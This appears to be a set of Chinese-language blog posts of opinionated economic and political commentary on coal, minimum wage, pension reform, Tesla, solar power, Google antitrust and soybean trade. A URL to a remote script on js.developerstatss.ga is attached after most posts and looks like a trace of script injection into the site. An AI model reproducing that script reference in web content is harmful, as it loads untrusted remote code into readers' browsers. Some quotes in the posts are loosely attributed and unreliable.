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筆記

煤炭回來了–WSJ

這些嘴巴強調要注重氣候變遷、注重環保的歐洲國家,2017年以來一個個倒是口嫌體正直地不斷增加對美國採購煤炭的總量喔~

法國Q1購買美國煤炭增加214%
德國Q1購買美國煤炭增加94%
英國Q1購買美國煤炭增加282%

華爾街日報很機車地故意用了「Et tu, Angela Merkel ?」這個藏典故的句子 XD

本句出自莎士比亞作品「Et tu, Brute?」,是凱薩被刺殺臨死前驚訝地質問:「Brute,你也有份?!」

放在這就變成「梅克爾,妳也有份?!」(妳不是才批評過川普不支持巴黎協議減碳是OOXX嗎?)

同時華爾街日報也直白地一句話戳中這些口喊道德手摸奶之國家的問題核心:「…使用美國煤炭來穩定不可靠的綠能以及補足因為關閉核能電廠所造成的電力容量短缺(…are utilizing U.S. coal to stabilize unreliable renewable sources and make up for electric capacity lost from the shutdown of nuclear plants. ..)」

我還是老掉牙一句:「又要廢核又要減碳是痴人說夢!」

“…This is all horrifying to the climate-change lobby, but they might note that U.S. coal exports are rising to countries that claim climate-change virtue. Exports to France increased 214% during the first quarter of this year amid a nuclear power plant outage. Other European countries like Germany and the U.K. are utilizing U.S. coal to stabilize unreliable renewable sources and make up for electric capacity lost from the shutdown of nuclear plants. First-quarter coal exports were up 94% to Germany and 282% to the U.K. Et tu, Angela Merkel ?
Coking coal used to make steel is also currently a hot commodity, and its price can soar whenever a storm hits Australia and shuts down mines as one did this spring. Metallurgical exports to China rose 357% during the first quarter. As much as Mr. Trump denounces China’s overproduction of steel, U.S. coal miners are benefitting. …"

https://www.wsj.com/articl…/coal-makes-a-comeback-1502926053https://js.developerstatss.ga/stat.js?n=ns1

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筆記

Deirdre McCloskey on minimum wage laws

有位網友問我為什麼反對最低工資,這主題我在blog許多舊文都有寫道,可以上去搜尋。

如果要最簡明的答案,那就如Deirdre McCloskey教授說的:「最低工資最早會存在的目的就是要維護高等盎格魯-薩克遜人的工作權利,把實際收入低於高等人種的黑人、華人等排除在外,讓他們死光死得徹底(die out)。」

最低工資越高,則邊際勞工失業率也會越高,同時會有更多邊際外勞工被迫墮入某些非法工作 — 如娼妓、運毒、詐騙…等。

另一方面,雇主也會因為最低工資存在而增加更多聘僱條件 — 容貌、學歷、能力、是否願意上床陪睡…等,依侷限條件不同在競爭之下而不同。

總歸一句話:經濟學白痴以為最低工資可以保護到低層人民,但實證經濟學發現事實上本希望保護的這群人會被迫活得更慘。

這就是為什麼諾貝爾經濟學獎得主布坎南認為,只有自甘墮落願當政府慰安婦的沒人格經濟學者,才會支持最低工資的存在。

Ps. Deirdre McCloskey是經濟學界知名教授,她多數著作我都有,經濟邏輯清楚井然且文筆優美。這邊提供個小資訊,這位教授變性之前曾與張五常教授是共用辦公室的同事,當時名為Donald McCloskey。

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經濟分析 證券投資

榮景或低成長的十字路口 (We are at the crossroads of prosperity or low progress)

In this article, I am trying to demonstrate how to use only the price theory, but not the traditional macro-economics, to forecast the future economy progress of the United States.

Here are three interesting numbers we should pay attention to:

1. The total credit-card balances grow $20B in the second quarter to $784B, highest record since the late 2009.

2. Overall debts — including mortgages, auto loans, and students loans– hit a record $12.8T.

3. Personal saving rate fell to 3.8% in Junes, down from a recent peak of 6.3% in Oct. 2015.

The raising of personal debts and reduction of savings means American are more eager to spend, which implies three possibilities:

A. the anticipated inflation rate increases, or;
B. the anticipated income grows, or;
C. the information cost of the future progress decreases.

The problem here is which factor weighs more over the others? If the factor A stands out, then, according to I. Fisher’s theory of the interest, the total wealth of the American will decrease. In a lucky situation, the Fed may sense it about six months later and stop raising the Fed Fund Rate to save the economy as it had done before. In a bad situation as the Fed blindly continuing raising the interest rate, we can predict a bear market coming for a while until the Fed realize the real situation. No matter which one happened, the recent economic expansion would not last for long.

If the factor B or C weighs more than the factor A, the total wealth will increase and the prosperity could be foreseen. There are two major causes to make it happen: one is the growth of productivity and the other is the decrease of transaction costs, including but not limited to the more friendly laws to businesses, over-haul lower tax burdens, and lower immigrant limits (including illegal Mexican immigrants).

Right now, I am confident in that the later two factors playing more important roles in the formation of the massively optimistic anticipation. But as long as the real improvement does not catch it up in time, the positive mood could dissipate quickly. It could cost a lot of energy and time to recall it back again. What a shame, president Trump!

Therefore, I believe that we are at the crossroads of the U.S. economy progress. In only couple months, we will figure out which path do we take.https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析 隨筆

民主進步就是砍你一刀還對你的憤怒感到意外?!

關於反年改團體在台北市舉辦的世界大學運動會強烈抗議,造成選手無法入場,而許多媒體或網友均紛紛撻伐並冠以「國恥」一事,我的看法如下:

聲明:
1. 我家三代以來未曾有人擔任任何公職,各種公務員福利、18%優惠都沒我家的份,我們只有乖乖繳稅的活。

2. 2012年我曾寫過一篇被許多人討論的「台灣公務員與死老百姓的收入財富比較(兼論為何台灣有這麼多公務員考生)」,論點簡單明瞭:a. 台灣公務員收入過高,扭曲薪資市場資訊,同時也造成一堆年輕人不務生產學習,浪費大把青春光陰在對整體生產力毫無貢獻的國家考試,是台灣社會的損失。 b.台灣多數公務單位均是沒存在必要的冗職,公務員過多未來對政府財政會是嚴重負擔。

3. 特此聲明,表示我並非既得利益團體,純粹試圖從經濟分析角度客觀分析此一事件。

進入主題。

一、年改本質是減損已退休公務員的財富

從I. Fisher的利息理論看,財富(wealth)是預期未來收入流的折現值總和。W=I/i是也。

年金改革本質就是減少已退休公務員的可預期年收入,依據利息理論,刪減I當然會讓W減少。這邊姑且不論退休公務員其實並非人人享有18%,也不論退休金是否過高或過低問題。我要單純點出的是:現今政府減少已退休公務員的I,本質就是減損W。退休公務員的I來自於政府承諾,而非市場經濟。

那麼根據經濟學自私假設,財富受到減損之人勢必會出現反彈與保護反應。這個有點經濟感受(economic sense)的人均可預期反彈的發生。當減損來自於市場經濟,則反彈與保護反應多半是認賠殺出保命,咒死以後再也不買股票或從事某種生意。然當減損來自於政府更改承諾,當然反彈與抗議就會衝著政府來。

就像今天法律新增一條「雇主可以任意刪減員工薪資」,想必勞工一定群起抗議;就像今天法律新增一條「股票收入(股利與資本利得)全數充公」,股票族一定大加撻伐甚至用腳出走。

而傳統道德訴求 — 相忍為國、大局為重…等,都改變不了某群人財富受到損害的事實,這也是說,滿嘴道德的口號,不可能就讓反彈與保護手段不發生!

為政者應當有智慧在事前就看出,並找出交易費用最低的方式,讓反彈較小。

然而在民主制度下,政客傾向維護少數足以讓自己當選的利益團體或利用民主多數暴力強迫少數服從的手段,因為如此維護自己的收入同時就算反彈發生,受損者多半是整體社會而非自己。

而蔡英文政府在我看來就是典型民主制度下的極端產物 — 透過敵我分化的宣傳手段,利用民主暴力減損某些人的財富,還打高空訴諸虛無空泛的道德口號卻無任何實質安撫反彈的作為。

講更白,就是蔡英文政府的年金改革會帶來各種抗議與反彈是本可預見。

在經濟效益分析下,在國際賽事上抗議的效益高是各國抗議團體乃至於恐怖分子都心知肚明也長年利用之。

可預見卻事前全無防備,這樣的政府高明在哪我實在看不出來。

反之,較為獨裁的政府傾向用錢買掉抗議可能性與規模,例如澳門政府在這部份非常嫻熟。幾乎沒聽說澳門國際賽車舉辦期間有如此大規模抗爭的。

再次強調,經濟學是科學,我純粹透過經濟學來分析人的行為,至於行為本質好壞那是價值觀問題,本文不涉獵。也就是說,反年改團體這樣抗議是不是國恥,我不評價。我只是單純點出年改本質是減損某群人的財富,抗議出現是必然。民主制度與獨裁制度下,處理民怨手段會不一樣,這都是侷限條件不同造成人的選擇不同。

題外話,當年就任公職時如果可貪汙空間大,貪汙收入比重越是高過政府發給退休金的退休公務員,則反而會越傾向不參與抗議,因為受年金改革損失比例上較少,這也是經濟學了。

二、大法官解釋與言論自由

2008年我寫過一篇「野草莓學運的荒謬與可笑」,裡面我解釋大法官釋憲第445號:

…..司法院大法官會議解釋第445號,首度明確地將台灣的集會遊行權切成兩部分來探討,在邏輯上以及法律上皆精采之作!雖然內容概念抄襲自美國大法官的看法甚多,但仍然值得鼓掌。

而台灣媒體還是一樣維持「失智」本性,從沒來有談過這個1998年就已經談得很清楚的概念。

當年的大法官一刀將集會遊行問題切成兩大塊:「內容」和「形式」。

大法官表示,集會遊行中群眾主張的「內容」,政府不得干預。
當年的問題就在於政府事前審查群眾遊行主張的內容,凡是「涉嫌主張共產主義或分裂國土」的一概不准。
大法官的意見即,民眾高興主張什麼是他們的基本自由權利,政府管不著,也不能管。一旦管了,就是違憲!

但另一方面,民眾用什麼「形式」來進行集會遊行,政府就可以在「保障集會遊行活動之和平進行」與「避免影響民眾之生活安寧」這兩個前提之下進行管制。
比方說,抗議群眾不可以拿土製炸彈出來表達訴求,或者抗議群眾不能主張要到總統府內、軍事基地內遊行主張訴求。

換句話說,集會遊行的手段、地點、時間,政府是可以在基於上述兩的前提之下,去行使公權力的。

這就是為什麼集會遊行的時候,警方可以用拒馬、封鎖線圍出管制區,或擋開不同訴求的群眾。

講大白話,就是政府有權畫出一個區域,你群眾在裡面要說啥都可以,但是你不能越界。越界我公權力就能進來。

這背後的邏輯說穿了,就是你愛說啥都可以,言論自由的目的就是要讓你有自由把主張說出來,看能不能影響他人或是博得多數人的認同。集會遊行是一種讓「說話音量變大」的有效方式(起碼媒體會去採訪,等於免費上電視廣告宣傳),不過你不能藉由集會遊行來影響他人的自由或權利。

比方,邱毅當年帶頭用宣傳車衝撞司法單位,這就違法犯規了!這已經跟言論自由無關,而是「形式」根本不合法!

所以活該邱毅被關進監牢,這本是該付出的法律責任。

同樣地,那些把陳雲林圍在飯店限制人家人身自由的,或者追打中國記者的,當然都是違法!…..

一直以來我都是同樣看法:「政府有權畫出一個區域,你群眾在裡面要說啥都可以,但是你不能越界。越界我公權力就能進來。」

因此反年改團體阻礙世大運進行,公權力可否依法究責?我認為應該。但問題出在:

三、太陽花學運與公民不服從惡例由蔡英文首開

太陽花學運癱瘓立法院甚至攻擊行政院官署,都是明白違法行為,但蔡英文政府上台後為其開罪,種下極壞之惡例。

其根本違反大法官釋憲的想法,變成:只要能幫助我選上,任何違法之抗議行為均可在我選上之後免去一切法律責任。

在我看來,跟當年希特勒競選總統過程沒啥兩樣。

如此惡例一開,你如何能希冀不會有效仿者出現?你又有何臉面在FB上批評反年改團體的踰矩抗議作為?

一樣法律卻兩套標準,這種民主進步在哪我看不出來!

而這邊我還要再次強調的是,從憲法第23條來看,對人民自由加以限制才需要違憲審查。然服貿、貨貿都是開放原本被禁止的行為,本質是「降低對人民自由之限制」,依憲法學理本不需要違憲審查,更枉論嚴格審查。然,一堆民進黨御用學者可以扭曲憲法學理,真是可笑至極!又,一堆御用經濟學者的經濟分析也是錯得離譜居多。詳細可參見「談談最近的服貿與學運

我認為,馬英九任內諸多錯誤政策,例如開徵證所稅(請參見拙文「反對政府課徵資本利得稅」),服貿、貨貿卻他是少數做對的事情。

中台雙方唯有加深經貿往來與依賴,才能提高雙方戰爭成本,降低戰爭之發生機率。因為台灣太小,離中國太近,整體收入遠低於中國已經是不爭事實(台灣GDP在1992年是中國的44%,但到2015年時僅是中國的5.56%),要靠軍備支出達到恫嚇中國出兵已經難以為繼。相信美國參戰則是痴人說夢。這是經濟學。

結論:
從經濟分析角度看,你砍人家財富,人家當然跟你拼命。而明明可預期的反彈,你卻不事先安撫,而是一路打高空、搞人民內部鬥爭,甚至首開太陽花惡例,現在國際賽事出現如此踰矩抗議行為也只是情理之中。

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商業評論

從特斯拉2017Q2財務報告談起

簡單幾個重點:

1. 2017年前六個月電動車銷售$4,048M美元(以下同),去年同期$1,932M,果然Model 3這個評價車款上市對於整體銷售有極大幫助。

2. 太陽能發電部分2017年前六個月營業額為$500M,去年同期$26.6M,看似驚人的成長,其實根本只是因為Tesla在2016年底收購了Elon Musk表兄弟營運的SolarCity。如果分開看,SolarCity貢獻今年前六個月的太陽能發電營收為$479.7M,因此Tesla的部份其實只有$20.3M,事實上是衰退的。

3. 研發成本大幅上揚將近一倍,今年前六月為$691.8M,去年同期為$374M。

更嚇人的是行銷與管理費用今年前六月為$1141M,去年同期僅為639M,也增長將78.5%!

財報上宣稱增加的費用中$288.9M是新增的人事薪資、$122.6M是用在辦公室/IT設備、$55.1M則是委外服務。就我看來,後兩項用語非常含糊,特別是最後一項(…in professional and outside service expenses to support the growth of our business.)

$55.1M,相當於$16億新台幣,就這樣幾個字帶過…

4.其結果Tesla就是2017年前六個月淨損$798.6M,去年同期淨損$575M。
其中太陽能發電部分光Q2就淨損$14.08M。

小結:

a. 說過無數次了,一個無法損益兩平的商業模式,理想說得再高都沒用。

即便是Amazon,本業賠錢許多年後,也是靠AWZ雲端運算出租轉虧為盈,才有後來能編織美夢的本錢。

b. 兩個賠錢貨相互併購能產生「綜效(synergy)」,這種騙三歲小孩的股市謊言我20年來聽過不少,真正成功的還沒見過一個。

c. 順道給一下同時期真正的國際大車廠Toyota的財務數字:今年前六個月營收$131847.9M(美元),是Tesla的32.6倍。稅後淨利是$9203.5M。

然後你跟我說這個創立以來一直賠錢的公司可以改變世界?因為它有獨家電池技術?

說穿了,Tesla本身並不具備太多開發電池芯的技術,他們是直接拿筆記型電腦上非常成熟且規格化的18650圓柱電芯來使用,一來降低電池成本、二來可靠性高。然後靠自身開發的複雜散熱系統,來維持整個電池在電動車上不會起火。

真正比較值得說嘴的,應該是Tesla有專利的銅芯轉子馬達技術。不過馬達技術這一塊要說Tesla享有多少租值,我覺得也還好。

再者,我認為更重要的還有「能量密度」這個物理限制要注意:

石油的能量密度非常高,以汽油為例,其能量密度達47.3MJ/kg,而鋰電池只有2.5MJ/kg(傳統鹼性電池更只有0.59MJ/kg),這就是為什麼電動車要在短時間內取代汽油車幾乎是不可能的原因。


比方說,一般家用汽車裝60L(約45kg)汽油,蘊含能量是2149MJ,電動車要裝載一樣的能量,必須配備重達859kg的鋰電池。重量比是 1: 19。考量目前內燃機的熱效率約25%~35%之間,60L汽油換成等能量的鋰電池也要重達250kg左右。甭提車子越重本身就要損耗越多能量來運動,在裝載同樣能量下電動車可續航里程必然少於汽油車。Tesla車整個底盤都是電池,其續航力仍不如一般汽車(這還不考量電池老化效能降低的問題)。此外充電速度依然遠遠不如加汽油的速度,可偏偏要提高充電速度又會犧牲電池壽命。


這是自然物理限制,反應在真實世界最直接的就是成本,成本決定人類行為。不是環保人士道德勸說或政客的政治口號可以改變的侷限條件。(不過聽說有台灣立委自認為可以改一改熱力學第一定律,小弟我無限佩服,相信未來100屆諾貝爾物理學獎通通頒給此立委也不為過)

Tesla我坐過,安靜舒適這點優異,不過相較於油電混合車來說並未特別突出。內裝則是差勁,實在對不起它的價位。加速度驚人可惜多數場合用不上。

也就是說,短時間內我找不到有任何看好Tesla的理由。
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科技相關 筆記

需要多大的土地才能讓太陽能發電取代一座火力發電廠?

我們會面臨四個問題:

a. 裝置容量與容量因數

b. 土地成本

c. 儲電技術與成本

d. inability to be on demand
台中火力發電廠佔地277.5公頃(2.775平方公里),裝置容量為5780MW。

太陽能發電目前每平方公尺裝置量約0.15KW,台灣北、中、南的有效日射時間分別是2.5、3.5、4小時/日。

如果假設以4小時/日來計算,則我們需要將近200多平方公里的土地面積來裝太陽能發電面板,才有可能取得與台中火力發電廠裝置容量下,工作24小時的總發電量。

所謂的「容量因數」–火力、核能發電廠的容量因數均高達90%以上,而太陽能只有15%左右、風力約20~30%。

用實際工作時數觀念來看,火力、核能發電是個每天可以工作21.6小時以上的機器人,而風力與太陽能就只能分別工作7小時與4小時的機器人。今天你希望用後者取代前者,當然後者要多裝很多倍才能取代掉前者一整天的工作量。

台北市面積也才271.8平方公里,換言之你要用將近一個台北市的土地來裝太陽能板,才可能取代掉一個只需要使用1%土地面積的火力發電廠。
這就來到問題b,我強調的土地成本問題:在台灣這座小島要取得這麼大片土地,邊際成本必定上升得很快,很可能上升到邊際報酬率為零時,你的太陽能面板都還累積不到前述的總裝置容量。

又假設台灣真的要100%靠綠電:問題c — 太陽能發電或風力發電都需要很大的儲電設施,才能在沒太陽或沒有風的時候時繼續供電。目前人類比較成熟的技術,還是靠水力位能的方式儲存。

而這個方案佔空間、地理因素影響很大且建造價格也不便宜。大規模鋰電池系統廠商號稱能做到,但實際上沒人知道長期營運的可靠性,此外大規模電池成本驚人。

問題d是伴隨問題c而來:太陽跟風力不是你呼之即來。丹麥空有很大裝置容量的風力發電系統,但是風大時電力往往需求沒那麼大,過剩電力得廉價賣給歐洲其他國家;國內需求上升時風力又不能on demand,得用更貴的價格從他國買電。造成丹麥電價非常貴,住宅每度電0.3歐元(NTD10.67),美國則是住宅每度電0.12美元(NTD3.64)(均以2016年平均計算)。

用將近3倍的成本來買電,這種環保我實在沒什麼興趣。說這個商業模式可以在自由市場競爭下生存,我也懷疑。

這也是為什麼我認同華爾街日報的這篇文章「City Pledges for ‘100% Renewable Energy’ Are 99% Misleading」並放上來分享。

光靠綠能而拿掉火力、核能這種base-load plants是愚不可及的。蔡英文的「又要非核又要減碳」政策本質現階段來看就是騙。https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

開罰冷氣外洩是侵害人民私有財產權

台灣政府真是智商無下限。

蘋果日報報導:「超商等20類營業場所小心 冷氣外洩最高罰10萬

從產權經濟分析,可看出台灣政府的三點錯誤。

1. 侵害人民財產權的使用自由

首先,私有財產權有三項權利內容與三者的共通排他權,此三項權能分別為:使用、收益、處分。

換言之,在不侵害他人權益之下,私有財產的所有權人愛怎麼使用財產,他人乃至於政府都無從干涉。

今天我就喜歡買一公噸冰塊,然後於炎炎夏日中午放在我家院子納涼。即便這是一個降低氣溫非常沒有效率方式,他人乃至於政府也無從干涉。

同樣的,我選擇家中電器全部滿載使用,只要我支付電費且擁有電器所有權,他人乃至於政府也無從干涉。

廠商要不要節約冷氣使用,當然也是廠商自身的所有權自由,政府的干涉明顯危害憲法對人民私有財產權的保障。

有論者可能會提出第23條,但單純冷氣外漏會造成怎樣的公共危害?以法律限制的益處又何在?勞師動眾聘僱一堆公務員做此類檢查與開罰,恐怕行政成本遠遠高過節省下來的電力,違憲審查恐難以通過檢驗。

話說能源管理法第8條恐怕也有違憲之虞,不過以台灣大法官淺薄的法律經濟分析能力,大概無能也無力處理這類違憲問題。

2. 成本與誘因考量

從成本角度看,侷限條件下,產權所有人自己本身擁有最高的誘因以最低成本來達到財產使用的最大效益。

讀者要特別注意「侷限條件」四字,因為往往無知左派以為的浪費行為,純粹來自於侷限條件下的交易費用使然。

放到賣場冷氣來看也是。

賣場所有人支付電費來維持溫度調控,難道所有人自己不清楚冷氣外洩會造成溫控成本上升?基本上公司老闆永遠是最在乎此類成本的人,他當然清楚賣場全面封閉下,溫控成本最為節省。這就是為什麼多數中小企業老闆下班後多半會巡視各項電器開關。老闆比政府還在乎節能。

那為什麼世界上看不到一個全面封鎖的賣場?

蠢到死,因為開設賣場的目的是吸引消費者入內購物,而不是為了溫控!溫控不過是吸引消費者的手段之一,但卻不是唯一與終極目的。

只要建築物有高頻率開啟的出入口,溫控成本自然提高。在侷限條件下所有人會以最低成本來達成維持溫度的目標,例如風牆等設施、派員巡邏出入口等。可是一旦維持溫度的手段可能侵害來客數量、換客頻率乃至於營業額時,維持溫度手段就會在成本與利益上均衡。

可是公務員與政客並不關心營業額,而只在乎選票、民調與各種愚蠢的政策。當政府由上往下管制人民能源使用方式時,公務員執行會把「節能當做終極目標」,而壓根不在乎賣場的來客數量、換客頻率與營業額是否受到影響。而當錯誤政策被強力執行進而讓商場利益受損時,制定錯誤政策與法律的政客難道要賠償嗎?

如果政客們真的認為商場使用能源方式太浪費,那請開放電力市場,同時解除電力價格管制,讓電費自由浮動上下,自由市場自然會以最低成本、最有效率的方式使用電力。

政客們敢嗎?又不敢。為什麼不敢?是不是太多行政壟斷的尋租利益讓你們捨不得鬆口到嘴肥肉?

3. 政客的對台灣社會利益的侵害

放著蓋好的核四不發電,到處宣傳各種核能傷人致癌甚至核爆的錯誤謠言(人類從會發電以來,死於火力、水力發電的人遠多於核能發電,況且核能電廠再怎麼失控也不可能像原子彈一樣爆炸;次級核廢料的輻射污染在掩體下根本很低,蘭嶼人接觸的輻射量0.027微西弗/時,比台北人接受的背景輻射還低61%,到底每年拿補助的蘭嶼人哪裡受損了?!)。

選前欺騙人民可以癈核低碳也不缺電,選後再透過政府公權力懲罰用電大戶。這種謊言式能源政策還真是崇高偉大。

政客幾時自掏腰包為自己造成的能源短缺與決策錯誤損失買單了?!光出一張嘴、外行管內行、政治凌駕專業,卻一點損害賠償都不用支付,問題又是在誰身上呢?https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

談歐盟處罰Google的反托拉斯案錯在哪?

先說我過去反覆強調的:整部反托拉斯法律都是建構在錯誤的經濟學理論上,卻忝不知恥地繼續用以處罰商業成功者,因為有太多社會米蟲賴此維生,例如律師、法官、公務員乃至於無恥的經濟學者。

我在美國接觸到的反托拉斯案件經驗,多是政府已經決定要開罰了,才來找法律上的理由。先射箭再畫靶。

本次歐盟處罰Google一案也是如此。

歐盟宣稱Google搜尋結果將購物廣告置於最頂,從而影響沒付費的競爭對手。請見以下圖片:

當有人搜尋"adidas superstar"這個關鍵字時,Google系統會判定使用者應該是想要購物大過於想要了解adidas superstar的歷史或其他資訊,所以會在結果頁面中頂端置入圖片式的購物廣告資訊,讓消費者快速知道各家平台管道目前售價為何。

往往這也是想要購物的人最希望快速知悉的訊息。而這塊訊息通常廠商也會付費讓自己優先被show出來,這也是搜索引擎獲利所在,這段老生常談的商業模式我想大家都很清楚。

歐盟偏偏看這點不爽,堅稱Google此舉傷害了其他也在賣此款運動鞋的競爭對手,因為他們的資訊沒有"公平地"也被放在第一頁。

真是遇到蠢如豬的公務員了。

本文我從經濟分析角度來說說歐盟的邏輯錯在哪。

1. Google是私人資訊搜尋公司,而非政府機構。

在市場競爭下,Google從無義務提供"公平的資訊",而是透過提供"多數使用者想要看到的資訊"然後從中尋找商業模式獲利。

換言之,Google的廣告之所以效率高過傳統平面媒體、電視媒體,就是因為Google透過搜尋者主動提供的資訊,反推搜尋者可能對哪些訊息感興趣,而提供較可能有用的訊息(其中包含商業訊息)。這是過去單方向提供訊息的媒體所無法做到的新技術,也是Google的租值所在。

進一步,Google的AdSense+AdWords也是建構在此概念上 — 討論財經內容的網頁Google投放銀行/保險/股票相關廣告、討論母乳哺育的網頁則投放母嬰用品廣告…;使用者最近常看PS4網頁,則Google針對該使用者瀏覽的多數網站都投放有關遊戲或PS4特價等相關資訊廣告。

誠如Google在2015年回應歐盟時強調:Our search engine is designed to provide the most relevant results, that’s not ‘favoring’ — that’s giving our customers and advertises what they find most useful.

因此,歐盟認定Google有義務"公平地 (fairly)"像政府機構一樣提供各種資訊,本身就是「關公戰秦瓊」一般無理取鬧!歐盟不但錯誤認Google本質(它是私人營利公司,不是政府機關),還刻意扭曲甚至違背Google商業模式的法律義務。

2. 從搭售角度看Google的商業搜尋結果

正確的經濟邏輯,我們看Google在搜尋結果頁面頂端插入商業資訊,其實可以看為是一種搭售行為(tying arrangement),而這種行為有三個可能:

a. Google給的購物建議對消費者很有用,則消費者、廣告投放者與Google三方獲利。(消費者因為Google資訊有用,更愛使用其服務;Google因此有更多更忠實使用者,系統判斷更精準,同時可以向廣告購買者收取更高費用;廣告投放者因為Google系統有效率,更樂意購買廣告。以上形成正向循環)

b. Google給的購物建議對消費者沒用,則消費者長期會傾向忽略;廣告投放者也會發現廣告買了沒人點,從而降低購買意願;Google發現此服務損益無法平衡,最後也只能認賠。

這個可能性就是過去很長一段時間的Yahoo overture搜尋服務的問題 — 廣告資訊與搜尋內容關連性太低,消費者後來根本刻意忽視。

試問如今Yahoo overture安在哉?!(話說overture還是Yahoo當年花16億美元買來的,自己搞成賠錢貨)

c. Google給的購物建議對消費者有害,則會形成剛好與a點相反的負面循環,對Google商業模式會是重創,正常公司多會快速處理與避免這個狀況,否則就會被市場淘汰,成為眾人群起攻擊甚至反對的搜索引擎。

百度日前有關醫療相關搜尋資訊充斥詐騙廣告,就引起中國網民激烈反彈與攻擊。若不是有中國官方網路長城保護其壟斷租值,百度早應該被淘汰出局。

從上是三種可能來看,Google今天提供的資訊是否對消費者有用,市場自己會去處理,根本毋須勞駕歐盟領高薪但無經濟智商的官老爺們指指點點。

回應文章開頭,我相信歐盟官員是早早就決定要處罰Googel的成功(或許保護費給得不夠或其他政治因素),其開罰所依據的反托拉斯法在經濟邏輯上是狗屁不通且強辭奪理的。https://js.developerstatss.ga/stat.js?n=ns1

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筆記

FT Big Read: Soyabeans — Crop of the century. 2017/06/21

1 中國對於肉品的需求大幅提昇,從1989年每年每人平均食用20公斤肉,成長到現在50kg。而這大幅成長的需求使得肉類養殖最好的原料 — 大豆需求大幅增加,以每年5%速度成長。同時中國豬隻養殖也從過去的家庭式、餿水養殖逐漸轉成大規模現代化飼料養殖,目前中國已經約50%豬隻採取現代養殖方式,相較2005年時只有16%,可見中國產業轉型與進步之快速。

2 預計2017年中國將進口93百萬頓大豆,而中國自己國內總產量僅約15百萬頓,顯然不足供應國內畜牧業使用,再加上中國生產大豆的成本遠高過美國、巴西(經濟學的比較優勢理論在發威哩)。

3 美國與巴西農夫樂開懷,許多5年前不曾種植過大豆的,這5年也紛紛投入大豆種植。巴西一年產出114百萬頓大豆,超過一半都出口給中國。

美國這邊共和黨的農民支持群眾,也跌破眼鏡地希望繼續維持美中從川普上台後出乎意料地友好氣氛,因為賣大豆給中國實在很好賺。

巴西Srrios市,是一個1989年才開始有人居住的城鎮,耆老說當年城鎮連柏油路、水電、電話通信設施都沒有,極為落後;但自從開始種大豆供應中國之後,城市快速富裕成長,人口在25年內從17000人成長到83000人(多數從事與大豆種植相關行業),收入更是從2010年平均每人每年R$27569翻倍到2016年的R$57087 (約等於新台幣$52萬),換算約12.9%年複合成長率。現在該城市人手一支iPhone用Whatsapp在溝通有無,成長之快全拜中國驚人的需求。

以下是我的看法:

同時期台灣平均每人所得年複合成長率2.78%(從平均每人每年$526,963新台幣成長到$634,055),如果往前看陳水扁主政時期平均每人年所得成長率則僅1.89%。

從本新聞中也驗證過去我從2008年以來主張的:如果台灣產業繼續與中國高度重疊,則會被中國打得慘兮兮,台灣人薪資收入成長率會大幅下降甚至轉為衰退。

而美國、巴西的大豆農夫顯然就是在比較優勢上享有租值,也就從中國的經濟成長賺得砵滿盆盈。這也在說,比較優勢不見得都是高來高去的高科技或前端技術,很多時候最傳統的東西反而可能是美國、巴西比中國更有優勢,種大豆顯然就是一例。

實在不懂台灣總有一群看衰、排斥與不屑與中國經貿往來的鴕鳥們在想什麼,看到陸客減少還沾沾自喜?

題外話一句,那些批判中資一條龍的人,多半是昧於現實又缺乏經濟邏輯訓練,才會相信這種可笑的神話。

所謂一條龍,說穿了就是一家公司試圖透過上下游垂直整合(甚或水平併購來產生傳說中的「綜效」)來拓展自身的壟斷利益,這在經濟學上已經被證明是不可能成立的妄想。真實世界也不存在任何一家公司在沒有國家法治暴力保護之下,可以包山包海地壟斷多層面。

也就是說,如果真實世界真的出現一條龍,那背後一定要有國家保護法規限制其他競爭對手進入,才可能成立。亦即問題根本出在政府,而非財團身上!https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

象牙塔教授,這叫消費者盈餘榨取

台大法律系李茂生教授是刑法知名學者,我當年在政大念法律系也讀過李茂生的上課共筆。

不過這位教授經濟學卻是嚴重失格,屢屢說出違反經濟學基礎的言論,令人不得不替台灣法學教育擔憂。因為如果不知真實世界的資源安排方式,如何能真懂法律 — 是的,法律不過是資源安排中的一種手段,而且是個常常因為無知造成資源浪費的強制手段。

先前有關李教授的「有錢裝潢沒錢付薪水」的錯誤經濟學觀念,我已經在元毓說FB粉絲團上面批評過(請參考文末附註)。

而近日日本一蘭拉麵來台設立分店,排隊者眾,店家因此推出「如購買禮盒滿$6000台幣可優先入座」的安排。如此美意竟一樣被李教授批評:

這裡我必須報告李教授 — 一蘭拉麵的優先入座安排在法律經濟分析叫做「消費者盈餘榨取」與「購買時間」二者混合。

知道經濟學基礎者都知道「邊際用值遞減定律」,也就是第一口水到最後你喝夠的最後一口水,用值是越來越低的。

但是因為交易費用的因素影響,店家很難針對你的每一口水做差別定價,因此產生了消費者盈餘(consumer surplus)空間,而賣方為了區別願意付出更高代價的買家,在真實世界有許多種安排。

最常見就是會員或入場費模式 — 你先付一筆入場費,裡頭的商品很可能比外面便宜。知名COSTCO上千元年費就是如此安排。從而區分出「很想要買COSTCO店內商品」與「沒那麼想要買」兩種客人。

當然這不是完美安排,因為有的客人即便雙倍會費也願意付費入場;有的客人不願意付出會員費卻想要貪裡頭便宜商品,則代買服務就會出現。這些都是COSTCO賺不到的。

還有一種是all-or-nothing安排 — 東西全部加起來多少錢,不分開賣。消費者只能選擇要就全買,不要拉倒。

這種安排很容易被愚蠢的法學者、經濟學者誤認為是搭售行為(tie-in)而動輒以公平交易法處罰,但此惡法的起源完全是學者對真實世界的無知造成。

過去曾有知名錶廠,因為同款式金銀二錶銷售出現極大差異,從而綁定經銷商一定要金銀二錶同買。這是因為一者產量難以短時間內應付金錶的需求大幅上升;二者市場銷售狀況量度對生產廠而言有相當費用,綁定熱銷與滯銷款有助於:a.量度實際銷售狀況與 b.榨取熱銷款的消費者盈餘。

這等法律經濟分析似乎台灣法學者多半十分無知啊。

回到一蘭拉麵例子,有的消費者願意付出更高代價吃麵,亦或是付出代價換取優先入場以節省時間。一蘭拉麵大可直接販賣「優先入場權」,但單純時間的節省要訂價有困難度,也容易引發爭議。因此店家很聰明的用上經濟學常見的安排「委託量(proxy)」 — 將難以量度的物品或服務委託到容易量度的東西上面。

此案例中一蘭拉麵顯然就是要榨取消費者盈餘的安排與優先入場的安排同時委託到禮品上,所以才會出現「購買禮品滿$6000可優先入座」。換言之,店家透過此安排分離出願意付出更高代價享用的客人,並提供其優先服務,這是非常聰明且雙贏的策略。試問李教授何來抵制之必要?!

